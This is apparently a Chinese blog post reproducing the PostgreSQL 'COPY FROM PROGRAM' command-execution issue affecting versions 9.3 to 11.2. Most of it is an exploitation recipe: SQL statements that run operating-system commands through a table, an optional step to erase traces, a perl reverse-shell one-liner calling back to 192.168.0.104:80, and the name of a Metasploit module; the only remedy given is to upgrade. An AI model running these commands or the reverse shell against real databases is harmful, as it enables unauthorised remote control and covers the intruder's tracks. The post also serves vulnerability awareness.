美文网首页
PostgreSQL高权限命令执行漏洞(CVE-2019-919

PostgreSQL高权限命令执行漏洞(CVE-2019-919

作者: 低调求发展 | 来源:发表于2020-03-18 18:27 被阅读0次

    漏洞概述:

        PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。由于这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过认证正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要再一次说明的是,上述两种情形下都需要用户是一个超级用户或者是“pg_read_server_files”组用户。

    影响版本:

        9.3-11.2

    漏洞复现:

    首先需要链接数据库,然后执行下列命令。

    1.[可选]删除你想用来保存命令输出但是可能存在的表

    DROP TABLE IF EXISTS cmd_exec;

    2.创建你用来保存命令输出的表

    CREATE TABLE cmd_exec(cmd_output text);

    3.通过 “COPY FROM PROGRAM”执行系统命令

    COPY cmd_execFROM PROGRAM 'id';

    4.[可选]查看执行结果

    SELECT * FROM cmd_exec;

    5.[可选]清除痕迹

    DROP TABLE IF EXISTS cmd_exec;

    1 2

    这里需要注意的是如果需要输出类似echo 'hello'命令需要用双引号转义。

    在Linux及Mac OSX操作系统中通常可以通过一行简单的perl命令来反弹shell,比如:

    COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"192.168.0.104:80\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';

    msf有模块可以反弹shell,利用multi/postgres/postgres_copy_from_program_cmd_exec模块。

    漏洞修复:

    升级版本

    相关文章

      网友评论

          本文标题:PostgreSQL高权限命令执行漏洞(CVE-2019-919

          本文链接:https://www.haomeiwen.com/subject/hpdtyhtx.html